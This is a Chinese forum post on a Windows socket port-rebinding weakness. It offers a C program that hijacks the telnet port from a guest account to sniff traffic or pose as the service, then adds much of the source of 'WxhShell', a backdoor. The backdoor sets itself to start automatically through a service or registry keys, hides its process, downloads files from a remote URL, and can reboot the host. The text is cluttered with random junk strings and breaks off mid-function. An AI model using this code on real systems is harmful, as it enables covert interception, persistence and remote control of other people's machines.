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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JAJo^}}{b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e/hA>  
*`$Y!uzG:\  
  saddr.sin_family = AF_INET; q-gp;Fm  
H8.Aq\2S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J&Ig%&/  
g$ bbm}6S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x}v]JEIf[Q  
 gP%S{<.?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >xrO W`p ]  
D=Ia$O0.  
  这意味着什么?意味着可以进行如下的攻击: ln4gkm<]t  
C".nB12  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hM$K?t  
`/?XvF\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K8`Jl=}z%&  
JL gk?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F/,K8<|r>  
)y>o;^5'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xPMTmx?2  
v0uDL7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -OV:y],-  
6[3oOO:uo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \yt-_W=[  
Sl,X*[HGd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Mj&`Y gW5a  
D>Ij  
  #include 3h t>eaHi  
  #include n^vL9n_N  
  #include S:!gj2q9|  
  #include    c#o(y6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %c+`8 wj  
  int main() 12l-NWXf  
  { C1w~z4Qp  
  WORD wVersionRequested; [R V_{F:'  
  DWORD ret; ,36AR|IO)  
  WSADATA wsaData; |,!]]YO.V  
  BOOL val; tFlLKziU  
  SOCKADDR_IN saddr; 1,UeVw/  
  SOCKADDR_IN scaddr; v C,53g  
  int err; p5F=?*[}  
  SOCKET s; eh4`a<gC  
  SOCKET sc; \"r84@<  
  int caddsize; D1w;cV7/d  
  HANDLE mt; MR4e.+#E  
  DWORD tid;   }/)vOUcEd  
  wVersionRequested = MAKEWORD( 2, 2 ); 2stBW5v3  
  err = WSAStartup( wVersionRequested, &wsaData ); ((KNOa5  
  if ( err != 0 ) { <zd_-Ysn  
  printf("error!WSAStartup failed!\n"); abog\0  
  return -1; %#5\^4$z|N  
  } Dsq_}6l{  
  saddr.sin_family = AF_INET; `N<6)MX3>g  
   Y)~Y;;/G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y:o\qr!Y  
%DyukUJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >fZ N?>`  
  saddr.sin_port = htons(23); Ek'~i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +=.>9  
  { hG1\  
  printf("error!socket failed!\n"); o8<0#W@S  
  return -1; b!(ew`Y;  
  } u7PtGN0r%  
  val = TRUE; 7TDt2:;]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hY*ylzr83  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pr~%%fCh  
  { )I~U&sT\/  
  printf("error!setsockopt failed!\n"); o )\\(^ld  
  return -1; h=?V)WSM  
  } PhUG}94  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =2Vs))>Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nK!yu?mS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8|]r>L$Wk  
o7 :~C]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RN, 5>.w  
  { 8>R 75 dw  
  ret=GetLastError(); +qPpPjG;  
  printf("error!bind failed!\n"); uUhqj.::<Y  
  return -1; 6[.#B!;9  
  } ot%^FvQ[c  
  listen(s,2); k4n 4 BL  
  while(1) z (1zth  
  { dM-qd`  
  caddsize = sizeof(scaddr); egXHp<bqw  
  //接受连接请求 `EBI$;!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7LFJi@*8  
  if(sc!=INVALID_SOCKET) d#tqa`@~  
  { i`nmA-Zj[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a*hWODYn  
  if(mt==NULL) yr;~M{{4  
  { |_6V+/?"?`  
  printf("Thread Creat Failed!\n"); UO1WtQyu,H  
  break; FR BW(vKE  
  }  v|K,  
  } !g`^<y!  
  CloseHandle(mt); 54lU~ "  
  } )a7nr<)aU  
  closesocket(s); lmGVSdo   
  WSACleanup(); hSN{jl{L`  
  return 0; 5SB!)F]   
  }   "_f~8f`y  
  DWORD WINAPI ClientThread(LPVOID lpParam) K'6NW:zp~  
  { OfE>8*RI4  
  SOCKET ss = (SOCKET)lpParam; Hto RN^9  
  SOCKET sc; bHKTCPf  
  unsigned char buf[4096]; $yn7XonS  
  SOCKADDR_IN saddr; f]_{4Olk  
  long num; e7_.Xr~[  
  DWORD val; u# TNW.  
  DWORD ret; '9ki~jtf=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a<NZC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W>E/LBpE4  
  saddr.sin_family = AF_INET; \4`:~c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5wE+p<-KX  
  saddr.sin_port = htons(23); JI3x^[(Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ron-v"!  
  { %#jW  
  printf("error!socket failed!\n"); x]Pp|rHj  
  return -1; > eC>sTPQ{  
  } 6*aU^#Hz6  
  val = 100; =,Zkg(M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hl/) 1sOIR  
  { FHK{cE  
  ret = GetLastError(); A3 uF 0A  
  return -1; cb3Q{.-.#  
  } %&5PZmnW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /g]NC?  
  { IDY2X+C#U  
  ret = GetLastError(); !,cL c}a  
  return -1; QomihQnc  
  } "*bP @W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /ucS*m:<x  
  { #FhgKwx  
  printf("error!socket connect failed!\n"); {aVRvZH4  
  closesocket(sc); p9y@5z  
  closesocket(ss); 6/3oW}O o  
  return -1; W]W[oTJ5  
  } A"}Ib'  
  while(1) &}rmDx  
  { Z}AhDIw!G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <r1/& RW,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c;B:o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FokSg[)5  
  num = recv(ss,buf,4096,0); (&KBYiwr  
  if(num>0) u9*7Buou^  
  send(sc,buf,num,0); Y6E0-bL@Fe  
  else if(num==0) *'n L[]  
  break; .WVIdVO7  
  num = recv(sc,buf,4096,0); r [E4/?_  
  if(num>0) wVmQE  
  send(ss,buf,num,0); ?Q[b1:;Lm  
  else if(num==0) xE5VXYU  
  break; b{Bef*`/  
  } Djr/!j  
  closesocket(ss); ,Dy9-o  
  closesocket(sc); tu slkOE#  
  return 0 ; 20 Z/Y\  
  } i*)BFV_-  
VZ]}9k  
[9;[g~;E%m  
========================================================== 4J{W8jX  
`uof\D<']  
下边附上一个代码,,WXhSHELL ^4~?]5Y\  
]^0mh["  
========================================================== 3De(:c)@  
s}<i[hY>  
#include "stdafx.h" | vPU]R>6  
WjsmLb:5  
#include <stdio.h> 6ltV}Wt-  
#include <string.h> _oE 7<  
#include <windows.h> =X;h _GQ  
#include <winsock2.h> m2\[L/W]  
#include <winsvc.h> v:gdG|n"  
#include <urlmon.h> (XNd]G  
(5l'?7  
#pragma comment (lib, "Ws2_32.lib") 2@Zw#2|]  
#pragma comment (lib, "urlmon.lib") pM-mZ/?  
8wLGmv^  
#define MAX_USER   100 // 最大客户端连接数 j 6dlAe  
#define BUF_SOCK   200 // sock buffer wD92Ava   
#define KEY_BUFF   255 // 输入 buffer "#.L\p{Zy  
+TC##}Zmb  
#define REBOOT     0   // 重启 Rjn%<R2nW  
#define SHUTDOWN   1   // 关机 !q1XyQX  
E^B3MyS^^  
#define DEF_PORT   5000 // 监听端口 ) S-Fuq4i4  
:0kKw=p1R  
#define REG_LEN     16   // 注册表键长度 2Mu3] 2>  
#define SVC_LEN     80   // NT服务名长度 {^Rr:+  
%x8vvcO^t  
// 从dll定义API >-j( [%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XG!^[ZDs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .umN>/o[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XzB3Xs?W2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]zz%gZz  
)Vo%}g?6!  
// wxhshell配置信息 ul{D)zm\D  
struct WSCFG { &],O\TAul  
  int ws_port;         // 监听端口 Jow{7@FG  
  char ws_passstr[REG_LEN]; // 口令 Q">wl  
  int ws_autoins;       // 安装标记, 1=yes 0=no (@NW2  
  char ws_regname[REG_LEN]; // 注册表键名 c1xX)cF  
  char ws_svcname[REG_LEN]; // 服务名 }Xb|Ur43  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z~K} @  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w>4( hGO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^ f[^.k$3d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y/>Nx7C0=2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BKK@_B"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mGo NT  
I9h{fB  
}; 5R6QZVc  
7#j9"*  
// default Wxhshell configuration ,U~in)\ U  
struct WSCFG wscfg={DEF_PORT, %ed TW[C`  
    "xuhuanlingzhe", L>pSE'}  
    1, ~i0>[S3 '  
    "Wxhshell", Y=@iD\u  
    "Wxhshell", gZ us}U  
            "WxhShell Service", ir5eR}H  
    "Wrsky Windows CmdShell Service", ]/|DCxQ  
    "Please Input Your Password: ", b?/Su<q  
  1, \[ W`hhJ  
  "http://www.wrsky.com/wxhshell.exe", 1 J[z ![Tf  
  "Wxhshell.exe" @9lGU#  
    }; AMN`bgxW  
_ucixM#  
// 消息定义模块 ^97[(89G9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ky*xAx:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [$M l;K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Yc5<Y-W  
char *msg_ws_ext="\n\rExit."; |!J_3*6$>*  
char *msg_ws_end="\n\rQuit."; 4'.] -u  
char *msg_ws_boot="\n\rReboot..."; ]d*O>Pm  
char *msg_ws_poff="\n\rShutdown..."; p  ~)\!  
char *msg_ws_down="\n\rSave to "; KVHK~Y-G  
1pqYB]*u_  
char *msg_ws_err="\n\rErr!"; X*a7`aL  
char *msg_ws_ok="\n\rOK!"; $#_^uWN-M  
;L,yJ~  
char ExeFile[MAX_PATH]; D=B:tP  
int nUser = 0; &`_| [Y ]H  
HANDLE handles[MAX_USER]; _zLEHEZ-  
int OsIsNt; .UU)   
'.e 5Ku  
SERVICE_STATUS       serviceStatus; {JM3drnw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `F~Fb S  
<)+;Bg  
// 函数声明 (kx>\FIK*  
int Install(void); f5R%F ~  
int Uninstall(void); &<) _7?  
int DownloadFile(char *sURL, SOCKET wsh); wKJK!P  
int Boot(int flag); KF7d`bRe  
void HideProc(void); PAiVUGp5[  
int GetOsVer(void);  LNvkC4  
int Wxhshell(SOCKET wsl); R(2MI}T  
void TalkWithClient(void *cs); T{ lm z<g  
int CmdShell(SOCKET sock); ^.M_1$-  
int StartFromService(void); w_YY~Af  
int StartWxhshell(LPSTR lpCmdLine); 17 VNw/Y  
0.#% KfQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z u1gP/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !9^GkFR6n  
+EZr@  
// 数据结构和表定义 we?t/YB=  
SERVICE_TABLE_ENTRY DispatchTable[] = ! &V,+}>)  
{ e XdH)|l,\  
{wscfg.ws_svcname, NTServiceMain}, r<*Y1;7H'  
{NULL, NULL} UHDcheeRD  
}; +PO& z!F  
tOPk x(  
// 自我安装 d%Ku 'Jy  
int Install(void) obw:@i#  
{ U27ja|W^  
  char svExeFile[MAX_PATH]; L~_zR>  
  HKEY key; ~5Rh7   
  strcpy(svExeFile,ExeFile); 7RgnL<t~:8  
P2)g%$ME  
// 如果是win9x系统,修改注册表设为自启动 UL" <V  
if(!OsIsNt) { T{T> S%17~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1'5 !")r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * =O@D2g0  
  RegCloseKey(key); gKb5W094@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *oIKddZh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OmP(&t7  
  RegCloseKey(key); s3M#ua#mX  
  return 0; :Czvwp{z  
    } VE/~tT;  
  } 6.4,Qae9E  
} )sapUnqrlR  
else { \g|;7&%l3  
C%'eF`  
// 如果是NT以上系统,安装为系统服务 qj?I*peK)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wJF$<f7P  
if (schSCManager!=0) UOI Z8Po  
{ <7X+-%yb;  
  SC_HANDLE schService = CreateService Rh7=,=u  
  ( t aOsC! Bp  
  schSCManager, ,I[A~  
  wscfg.ws_svcname, 8\Eq(o}7  
  wscfg.ws_svcdisp, 7M9s}b%?  
  SERVICE_ALL_ACCESS, 3*b!]^d:D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &S# bLE  
  SERVICE_AUTO_START, ~ K|o@LK  
  SERVICE_ERROR_NORMAL, %P]-wBJw  
  svExeFile, QLTE`t5w3'  
  NULL, ZP%Bu2xd  
  NULL, NO)vk+   
  NULL, fGLOXbsA  
  NULL, .{ ]=v  
  NULL R7By=Y!t  
  );  Ia)^  
  if (schService!=0) *$>$O%   
  { s[@@INU  
  CloseServiceHandle(schService); *-9b!>5eD  
  CloseServiceHandle(schSCManager); ?r~](l   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z8Clm:S  
  strcat(svExeFile,wscfg.ws_svcname); VAR/"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6UJBE<ntj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4HDQj]z/  
  RegCloseKey(key); dzMI5fA<_  
  return 0; 4^B:Q9B)  
    } B6vmBmN  
  } ';7|H|,F  
  CloseServiceHandle(schSCManager); 8 _[f#s`)  
} Qod2m$>wp}  
} >Y/1%Hp9  
z'X_ s.9F  
return 1; :ui1]its4  
} N:/$N@"Ge  
**O4"+Xi8  
// 自我卸载 H\!u5o&}`  
int Uninstall(void) cjO,#W0&f  
{ 7f td2lv  
  HKEY key; h Tn^:%(  
B[MZ Pv)  
if(!OsIsNt) { Bj7\{x,?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -nT+!3A8  
  RegDeleteValue(key,wscfg.ws_regname); 3/@'tLtN  
  RegCloseKey(key); )u&_}6z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9~mi[l~  
  RegDeleteValue(key,wscfg.ws_regname); `0Q:d'  
  RegCloseKey(key); 7+u%]D!  
  return 0; OiY2l;68  
  } j|(bDa4\  
} ArU>./)Q  
} BmUzsfD  
else { Xc5[d`]  
ig/716r|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gb \ 7W  
if (schSCManager!=0) |@-WC.  
{ o6K BJx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  )Bk?"q  
  if (schService!=0) FZmYv%J  
  { (^Do#3  
  if(DeleteService(schService)!=0) { 0QIocha  
  CloseServiceHandle(schService); emS+%6U  
  CloseServiceHandle(schSCManager); k*c:%vC!  
  return 0; NI s4v(!  
  } @4B2O"z`  
  CloseServiceHandle(schService); U w`LWG3T  
  } +msHQk5#$m  
  CloseServiceHandle(schSCManager); |_2ANWHz  
} nZ7v9o9  
} M7Hk54U +t  
W\<#`0tUt  
return 1; _ zmx  
} d8RpL{9\7  
p go\(K0  
// 从指定url下载文件 8rp-Xi W  
int DownloadFile(char *sURL, SOCKET wsh) = xX^  
{ BK d(  
  HRESULT hr; \ bT]?.si  
char seps[]= "/"; n"K7@[d  
char *token; EShakV  
char *file; S s`0;D1  
char myURL[MAX_PATH]; e<^4F%jSK  
char myFILE[MAX_PATH]; kyo ,yD  
V!U[N.&$  
strcpy(myURL,sURL); lIFU7g  
  token=strtok(myURL,seps); A^p $~e\)  
  while(token!=NULL) wD,F=O  
  { WNYLQ=;  
    file=token; VD#^Xy4% r  
  token=strtok(NULL,seps); !d0@^JbM"  
  } Xp?Z;$r$  
a@jP^VVk  
GetCurrentDirectory(MAX_PATH,myFILE); 49zp@a  
strcat(myFILE, "\\"); }\*Sf[EMD  
strcat(myFILE, file); dw4)4_  
  send(wsh,myFILE,strlen(myFILE),0); +tN-X'u##  
send(wsh,"...",3,0); uATBt   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *-Yw0Y[E  
  if(hr==S_OK) N8{>M,  
return 0; \4p<;$'  
else G\NCEE'A  
return 1; +Ae.>%}  
>SGSn/AJi  
} er#=xqUY  
pq&c]8H  
// 系统电源模块 _INUJc  
int Boot(int flag) t2SZ]|C  
{ 4QVd{  
  HANDLE hToken; -)I_+N  
  TOKEN_PRIVILEGES tkp; H5I#/j  
zXCIn  
  if(OsIsNt) { tj&A@\/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =% JDo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )yK!qu  
    tkp.PrivilegeCount = 1; M:SxAo-D2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '} kq@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;i#gk%- 2  
if(flag==REBOOT) { ^,5.vfES  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7@"X~C  
  return 0; XHg %X  
} Q}T9NzOH%  
else {  ~EM];i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e4b~s  
  return 0; Mww]l[1'EL  
} D{l((t3=T  
  } .0|J+D  
  else { yW&i Uh=0  
if(flag==REBOOT) { 2yZ6:U~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o|W? a#_\  
  return 0; ZD{srEa/a  
} w8i!Qi#y5D  
else { ;~bn@T-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >D;hT*3  
  return 0; e`rY]X  
} RVsNr rZ  
} M Sj0D2H  
_YS+{0 Vq%  
return 1; dW`D?$(@,  
} xVyUUzXs  
| <*(`\ 'w  
// win9x进程隐藏模块 !%X`c94  
void HideProc(void) D+3Y.r 9  
{ aVYUk7_<  
,H?p9L; qp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jb2:O,+!  
  if ( hKernel != NULL ) {\&"I|dpe  
  { f)x}_dw%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u3:Qt2^S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,')bO*N g  
    FreeLibrary(hKernel); -!cAr <  
  } Sv@p!-m  
h'x~"k1  
return; v1=X=H  
} bZXNo  
/<$"c"UQ  
// 获取操作系统版本 #U}U>4'  
int GetOsVer(void) d/>,U7eS[+  
{ ?Q3~n^  
  OSVERSIONINFO winfo; J":9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @;}H<&"  
  GetVersionEx(&winfo); }$1 ;<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eLny-.i ,7  
  return 1; 0Y 2^}u@5  
  else [BBKj)IK  
  return 0; F/SsiUBS  
} Cpcd`y=IN  
h$k3MhYDes  
// 客户端句柄模块 '>Y 2lqa  
int Wxhshell(SOCKET wsl) =7Vl{>*1N  
{ 0gD0}nH  
  SOCKET wsh; q4iD59yd)S  
  struct sockaddr_in client; g4~qc I=a  
  DWORD myID; I)6Sbt JV^  
#L0I+ K,K\  
  while(nUser<MAX_USER) K, 5ax@  
{ /AW>5r]  
  int nSize=sizeof(client); \ZRoTh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ] <3?=$  
  if(wsh==INVALID_SOCKET) return 1; 5ba[6\Af  
%UQB?dkf$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); znO00qX  
if(handles[nUser]==0) dt+  4$  
  closesocket(wsh); &R*5;/ !  
else b,R'T+4[  
  nUser++; 5]l7Z35  
  } PAU+C_P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @a\SR'8  
vCSB8R  
  return 0; c/Yi0Rl)  
} WnzPPh3PJ  
oQnk+>}%  
// 关闭 socket XFTMT'9  
void CloseIt(SOCKET wsh) vGwD~R  
{ ;Ph)BY<  
closesocket(wsh); Lu39eO6  
nUser--; \%Rta$ O?S  
ExitThread(0); y32++b!  
} t} i97;  
7&1~O#  
// 客户端请求句柄 m2CWQ[u  
void TalkWithClient(void *cs) chmJ|  
{ d5"EvT  
8]":[s6x  
  SOCKET wsh=(SOCKET)cs; <>i+R#u{  
  char pwd[SVC_LEN]; n qLAby_  
  char cmd[KEY_BUFF]; -5v.1y=!L  
char chr[1]; gQ=POJ=G  
int i,j; S<!_ uq  
|zq!CLjD@  
  while (nUser < MAX_USER) { G+ v, Hi1  
Rgfhs[Z  
if(wscfg.ws_passstr) { }K80G~O2<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Lmc%y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KzX ,n_`an  
  //ZeroMemory(pwd,KEY_BUFF); E(!6n= qR  
      i=0; Z#6~N/b  
  while(i<SVC_LEN) { r`R~{;oT  
2HGD{;6>v{  
  // 设置超时 -^4bA<dCCE  
  fd_set FdRead; >2CusT2  
  struct timeval TimeOut; b]<HhU  
  FD_ZERO(&FdRead); VNrO(j DUv  
  FD_SET(wsh,&FdRead); rgdQR^!l6  
  TimeOut.tv_sec=8; Eu/y">;v#  
  TimeOut.tv_usec=0; 72ViPWW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aXbNDj ][  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B UQn+;be  
D5!K<G?-K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +lgF/y6  
  pwd=chr[0]; gMBQtPNM  
  if(chr[0]==0xd || chr[0]==0xa) { 2K rqY  
  pwd=0; L;M^>{>  
  break; s"',370  
  } `}~ )1'(#/  
  i++; fb"J Bc}X  
    } 6~F#F)C'  
c Z6p^  
  // 如果是非法用户,关闭 socket P% +or*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wda\a.bXT  
} P"9@8aLB  
vDW&pF_eI>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4l ZJb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HKiVEg  
H*{k4  
while(1) { r=DHt&x=  
PM-PP8h  
  ZeroMemory(cmd,KEY_BUFF); Q6.*"`  
qTTn51  
      // 自动支持客户端 telnet标准   9R@abm,I  
  j=0; ~+<xFi  
  while(j<KEY_BUFF) { 7mn,{2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #5-A&  
  cmd[j]=chr[0]; L)/6kt=  
  if(chr[0]==0xa || chr[0]==0xd) { 3aO;@GNJ  
  cmd[j]=0; Y$x"4=~  
  break; R] Disljq  
  } "VDk1YX_&l  
  j++; G&@-R{i  
    } I[=Wmxa?r  
nGx ~) T  
  // 下载文件 9eGCBVW:*  
  if(strstr(cmd,"http://")) { ?UZ$bz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); : _^0'ULP  
  if(DownloadFile(cmd,wsh)) cK|rrwa0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wrQydI  
  else ]M~8 @K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *f`s%&Y]s  
  } bk7^%O>  
  else { gp$EXJ=  
Yz2{LW[K  
    switch(cmd[0]) { BZJKiiD  
  C!7U<rI  
  // 帮助 @1<omsl  
  case '?': { #.)xm(Ys  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]{|fYt_-  
    break; 8> Du  
  } d<^_w!4X}  
  // 安装 [_ M6/  
  case 'i': { -_2Dy1  
    if(Install()) dd \bI_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [xtK"E#  
    else |"CJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AZxrJ2G  
    break; H_?;h-Y]  
    } 1UW s_|X!  
  // 卸载 "u(S2'DW'(  
  case 'r': { oUQGLl!V  
    if(Uninstall()) ;'=VrE6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X2 \E9hJg  
    else $R%+*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U_ x0KIm  
    break; J16=!q()  
    } 1Q&cVxA"\  
  // 显示 wxhshell 所在路径 rDIhpT)a  
  case 'p': { K08 iPIkQ  
    char svExeFile[MAX_PATH]; Cq?',QU6j  
    strcpy(svExeFile,"\n\r"); _YH<YOrMh  
      strcat(svExeFile,ExeFile); w::r?.9  
        send(wsh,svExeFile,strlen(svExeFile),0); ^273l(CZ1  
    break; < Gr9^C  
    } bbd0ocva  
  // 重启 3D 9N: c  
  case 'b': { Az9X#h.vf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x*unye7  
    if(Boot(REBOOT)) Z$!C=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uQ:Qb|  
    else { 6oj4Rg+(  
    closesocket(wsh); DUZQO{V  
    ExitThread(0); !Z U_,[  
    } "?i>p z  
    break; 5U0ytDZ2/(  
    } '"` Lv/  
  // 关机 tCZpfZ@+=  
  case 'd': { `GvA241  
